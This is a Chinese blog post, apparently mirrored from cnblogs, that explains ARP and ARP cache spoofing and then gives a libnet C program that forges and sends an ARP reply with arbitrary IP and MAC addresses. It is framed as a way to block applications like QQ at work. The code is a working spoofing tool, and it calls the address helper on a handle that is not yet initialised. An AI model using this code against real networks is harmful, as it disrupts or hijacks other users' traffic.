zoukankan      html  css  js  c++  java
  • VC++基于APR实现禁止某个业务(开发行为控制软件用得着,例如上班禁止上QQ)

    ARP(Address Resolution Protocol,地址解析协议)是获取物理地址的一个TCP/IP协议。某节点的IP地址的ARP请求被广播到网络上后,这个节点会收到确认 其物理地址的应答,这样的数据包才能被传送出去。RARP(逆向ARP)经常在无盘工作站上使用,以获得它的逻辑IP地址。
     地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP地址时确  地址解析协议定其物理地址的一种协议。因IPv4和以太网的广泛应用,其主要用作将IP地址翻译为以太网的MAC地址,但其也能在ATM( 异步传输模式)和FDDIIP(Fiber Distributed Data Interface 光纤分布式数据接口)网络中使用。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
     1. 什么是ARP?
      ARP (Address Resolution Protocol) 是个地址解析协议。最直白的说法是:在IP-以太网中,当一个上层协议要发包时,有了节点的IP地址,ARP就能提供该节点的MAC地址。
      2. 为什么要有ARP?
      OSI 模式把网络工作分为七层,彼此不直接打交道,只通过接口(layer interface). IP地址在第三层, MAC地址在第二层。协议在发送数据包时,得先封装第三层(IP地址),第二层(MAC地址)的报头, 但协议只知道目的节点的IP地址,不知道其MAC地址,又不能跨第二、三层,所以得用ARP的服务。
      3. 什么是ARP
      cache? ARP cache 是个用来储存(IP, MAC)地址的缓冲区。当ARP被询问一个已知IP地址节点的MAC地址时,先在ARP cache 查看,若存在,就直接返回MAC地址,若不存在,才发送ARP request向局域网查询。
      4. ARP 有什么命令行?
      常用的包括:(格式因操作系统、路由器而异,但作用类似)- 显示ARP cache: show arp; arp -a - 清除ARP cache: arp -d;clear arp。
     在TCP/IP协议中,A给B发送IP包,在报头中需要填写B的IP为目标地址,但这个IP包在以太网上传输的时候,还需要进行一次以太包的封装,在这个以太包中,目标地址就是B的MAC地址.
      计算机A是如何得知B的MAC地址的呢?解决问题的关键就在于ARP协议。
      在A不知道B的MAC地址的情况下,A就广播一个ARP请求包,请求包中填有B的IP(192.168.1.2),以太网中的所有计算机都会接收这个请求,而正常的情况下只有B会给出ARP应答包,包中就填充上了B的MAC地址,并回复给A。
      A得到ARP应答后,将B的MAC地址放入本机缓存,便于下次使用。
      本机MAC缓存是有生存期的,生存期结束后,将再次重复上面的过程。
      ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。所以,那个伪造出来的MAC地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!这就是一个简单的ARP欺骗。














    #include <win32/libnet.h>   
    /*  
    =======================================================================================================================  
    在windows平台下必须包含此文件,文件libnet.h是libnet开发包的头文件  
    =======================================================================================================================  
     */   
    void main()   
    {   
        int packet_size;   
        /* 存放数据包长度的变量 */   
        libnet_t *l;   
        /* libnet句柄 */   
        libnet_ptag_t protocol_tag;   
        /* 协议块标记 */   
        char *device = NULL;   
        /* 设备名字,此时为NULL */   
        char error_information[LIBNET_ERRBUF_SIZE];   
        /* 用来存放错误信息 */   
        char *destination_ip_str = "192.168.0.2";   
        /* 目的IP地址字符串变量,可以指定任意一个合法的IP地址 */   
        char *source_ip_str = "192.168.0.3";   
        /* 源IP地址字符串变量,可以指定任意一个合法的IP地址 */   
        u_char hardware_source[6] =   
        {   
            0x01, 0x02, 0x03, 0x04, 0x05, 0x06   
        };   
        /* 源MAC地址,可以是任意指定 */   
        u_char hardware_destination[6] =   
        {   
            0x06, 0x05, 0x04, 0x03, 0x02, 0x01   
        };   
        /* 目的MAC地址,可以是任意指定 */   
        u_long destination_ip;   
        /* 目的IP地址 */   
        u_long source_ip;   
        /* 源IP地址 */   
        destination_ip = libnet_name2addr4(l, destination_ip_str, LIBNET_RESOLVE);   
        /* 把目的IP地址字符串形式转化成网络顺序字节形式的数据 */   
        source_ip = libnet_name2addr4(l, source_ip_str, LIBNET_RESOLVE);   
        /* 把源IP地址字符串形式转化成网络顺序字节形式的数据 */   
        l = libnet_init(   
        /* 初始化libnet */   
        LIBNET_LINK_ADV,   
        /* libnet类型 */   
        device,   
        /* 网络设备 */   
        error_information); /* 错误信息  
         * */   
        protocol_tag = libnet_build_arp(   
        /* 构造ARP协议块,函数的返回值是代表新生成的ARP协议块的一个协议块标记, */   
        ARPHRD_ETHER,   
        /* 硬件地址类型,在这里是以太网 */   
        ETHERTYPE_IP,   
        /* 协议地址类型,在这里是IP协议 */   
        6,   
        /* 硬件地址长度,MAC地址的长度为6 */   
        4,   
        /* 协议地址长度,IP地址的长度为4 */   
        ARPOP_REPLY,   
        /* 操作类型,在这里是ARP应答类型 */   
        hardware_source,   
        /* 源硬件地址 */   
        (u_int8_t*) &source_ip,   
        /* 源IP地址 */   
        hardware_destination,   
        /* 目标硬件地址 */   
        (u_int8_t*) &destination_ip,   
        /* 目标协议地址 */   
        NULL,   
        /* 负载,此时为NULL */   
        0,   
        /* 负载的长度,此时为0 */   
        l,   
        /* libnet句柄,此句柄由libnet_init()函数生成 */   
        0   
        /* 协议块标记,此时为0,表示构造一个新的ARP协议块,而不是修改已经存在的协议块  
         * */   
        );   
        protocol_tag = libnet_autobuild_ethernet(   
        /* 构造一个以太网协议块,返回一个指向此协议块的标记 */   
        hardware_destination,   
        /* 目的硬件地址 */   
        ETHERTYPE_ARP,   
        /* 以太网上层协议类型,此时为ARP类型 */   
        l /* libnet句柄 */   
        );   
        packet_size = libnet_write(l);   
        /*  
         * 发送已经构造的ARP数据包,注意此数据包应该包括两部分,一部分是ARP协议块,另外一部分是以太网协议块  
         */   
        printf("发送一个%d字节长度的ARP应答数据包\n", packet_size);   
        /* 输出发送的ARP数据包的字节数 */   
        libnet_destroy(l);   
        /* 销毁libnet */   
    }   


  • 相关阅读:
    Power BI for Office 365(八)共享查询
    Power BI for Office 365(七) Power BI站点
    Power BI for Office 365(六)Power Map简介
    Power BI for Office 365(五)Power View第二部分
    Power BI for Office 365(四)Power View第一部分
    Power BI for Office 365(三)Power Pivot
    Power BI for Office 365(二)Power Query
    java 继承、重载、重写与多态
    Android 热修复方案Tinker(一) Application改造
    阿里最新热修复Sophix与QQ超级补丁和Tinker的实现与总结
  • 原文地址:https://www.cnblogs.com/new0801/p/6177679.html
Copyright © 2011-2022 走看看